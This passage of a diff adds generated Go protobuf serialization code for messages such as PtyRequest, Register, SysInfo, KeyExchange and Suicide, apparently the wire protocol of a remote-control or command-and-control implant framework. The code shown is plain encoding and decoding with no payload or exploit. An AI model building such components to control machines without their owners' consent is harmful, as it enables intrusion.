sb.WriteString("}") + return sb.String() +} + +func (x *PtyRequest_ParamsEntry) String() string { + return x.MarshalProtoText() +} +func (x *PtyRequest) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("PtyRequest {") + if x.Type != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("type: ") + sb.WriteString(strconv.Quote(x.Type)) + } + if x.SessionId != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("session_id: ") + sb.WriteString(strconv.Quote(x.SessionId)) + } + if x.Shell != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("shell: ") + sb.WriteString(strconv.Quote(x.Shell)) + } + if x.Cols != 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("cols: ") + sb.WriteString(strconv.FormatUint(uint64(x.Cols), 10)) + } + if x.Rows != 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("rows: ") + sb.WriteString(strconv.FormatUint(uint64(x.Rows), 10)) + } + if x.InputData != nil { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("input_data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.InputData)) + sb.WriteString("\"") + } + if x.InputText != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("input_text: ") + sb.WriteString(strconv.Quote(x.InputText)) + } + if len(x.Params) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("params: {") + for _, k := range slices.Sorted(maps.Keys(x.Params)) { + v := x.Params[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + sb.WriteString("}") + return sb.String() +} + +func (x *PtyRequest) String() string { + return x.MarshalProtoText() +} +func (x *PtyResponse_MetadataEntry) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("MetadataEntry {") + if x.Key != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("key: ") + sb.WriteString(strconv.Quote(x.Key)) + } + if x.Value != "" { + if sb.Len() > 15 { + sb.WriteString(" ") + } + sb.WriteString("value: ") + sb.WriteString(strconv.Quote(x.Value)) + } + sb.WriteString("}") + return sb.String() +} + +func (x *PtyResponse_MetadataEntry) String() string { + return x.MarshalProtoText() +} +func (x *PtyResponse) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("PtyResponse {") + if x.SessionId != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("session_id: ") + sb.WriteString(strconv.Quote(x.SessionId)) + } + if x.OutputData != nil { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("output_data: ") + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(x.OutputData)) + sb.WriteString("\"") + } + if x.OutputText != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("output_text: ") + sb.WriteString(strconv.Quote(x.OutputText)) + } + if x.Error != "" { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("error: ") + sb.WriteString(strconv.Quote(x.Error)) + } + if x.SessionActive != false { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("session_active: ") + sb.WriteString(strconv.FormatBool(x.SessionActive)) + } + if len(x.ActiveSessions) > 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("active_sessions: [") + for i, v := range x.ActiveSessions { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if len(x.Metadata) > 0 { + if sb.Len() > 13 { + sb.WriteString(" ") + } + sb.WriteString("metadata: {") + for _, k := range slices.Sorted(maps.Keys(x.Metadata)) { + v := x.Metadata[k] + sb.WriteString(" ") + sb.WriteString(strconv.Quote(k)) + sb.WriteString(": ") + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString(" }") + } + sb.WriteString("}") + return sb.String() +} + +func (x *PtyResponse) String() string { + return x.MarshalProtoText() +} +func (x *CommonBody) MarshalProtoText() string { + var sb strings.Builder + sb.WriteString("CommonBody {") + if x.Name != "" { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("name: ") + sb.WriteString(strconv.Quote(x.Name)) + } + if len(x.U32Array) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("u32_array: [") + for i, v := range x.U32Array { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.FormatUint(uint64(v), 10)) + } + sb.WriteString("]") + } + if len(x.U64Array) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("u64_array: [") + for i, v := range x.U64Array { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.FormatUint(uint64(v), 10)) + } + sb.WriteString("]") + } + if len(x.BoolArray) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("bool_array: [") + for i, v := range x.BoolArray { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.FormatBool(v)) + } + sb.WriteString("]") + } + if len(x.StringArray) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("string_array: [") + for i, v := range x.StringArray { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString(strconv.Quote(v)) + } + sb.WriteString("]") + } + if len(x.BytesArray) > 0 { + if sb.Len() > 12 { + sb.WriteString(" ") + } + sb.WriteString("bytes_array: [") + for i, v := range x.BytesArray { + if i > 0 { + sb.WriteString(", ") + } + sb.WriteString("\"") + sb.WriteString(base64.StdEncoding.EncodeToString(v)) + sb.WriteString("\"") + } + sb.WriteString("]") + } + sb.WriteString("}") + return sb.String() +} + +func (x *CommonBody) String() string { + return x.MarshalProtoText() +} +func (m *Ping) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Ping: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Ping: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Nonce", wireType) + } + m.Nonce = 0 + m.Nonce, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Register) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Register: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Register: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Proxy", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Proxy = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Module", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Module = append(m.Module, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Addons", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Addons = append(m.Addons, &Addon{}) + if err := m.Addons[len(m.Addons)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Timer", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Timer == nil { + m.Timer = &Timer{} + } + if err := m.Timer.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Sysinfo", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Sysinfo == nil { + m.Sysinfo = &SysInfo{} + } + if err := m.Sysinfo.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Secure", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Secure == nil { + m.Secure = &Secure{} + } + if err := m.Secure.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Secure) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Secure: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Secure: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Enable", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.Enable = bool(v != 0) + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Key", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Key = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Type = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.PublicKey = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KeyExchangeRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KeyExchangeRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KeyExchangeRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.PublicKey = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Signature", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Signature = append(m.Signature[:0], dAtA[iNdEx:postIndex]...) + if m.Signature == nil { + m.Signature = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timestamp", wireType) + } + m.Timestamp = 0 + m.Timestamp, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Nonce", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Nonce = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KeyExchangeResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KeyExchangeResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KeyExchangeResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.PublicKey = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Init) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Init: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Init: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SysInfo) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SysInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SysInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Filepath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Filepath = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Workdir", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Workdir = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field IsPrivilege", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.IsPrivilege = bool(v != 0) + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Os", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Os == nil { + m.Os = &Os{} + } + if err := m.Os.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Process", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Process == nil { + m.Process = &Process{} + } + if err := m.Process.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Suicide) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Suicide: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Suicide: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + m.Type = 0 + m.Type, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timestamp", wireType) + } + m.Timestamp = 0 + m.Timestamp, iNdEx, err = protobuf_go_lite.DecodeVarintInt64(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Request) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Request: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Request: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Input", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Input = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = 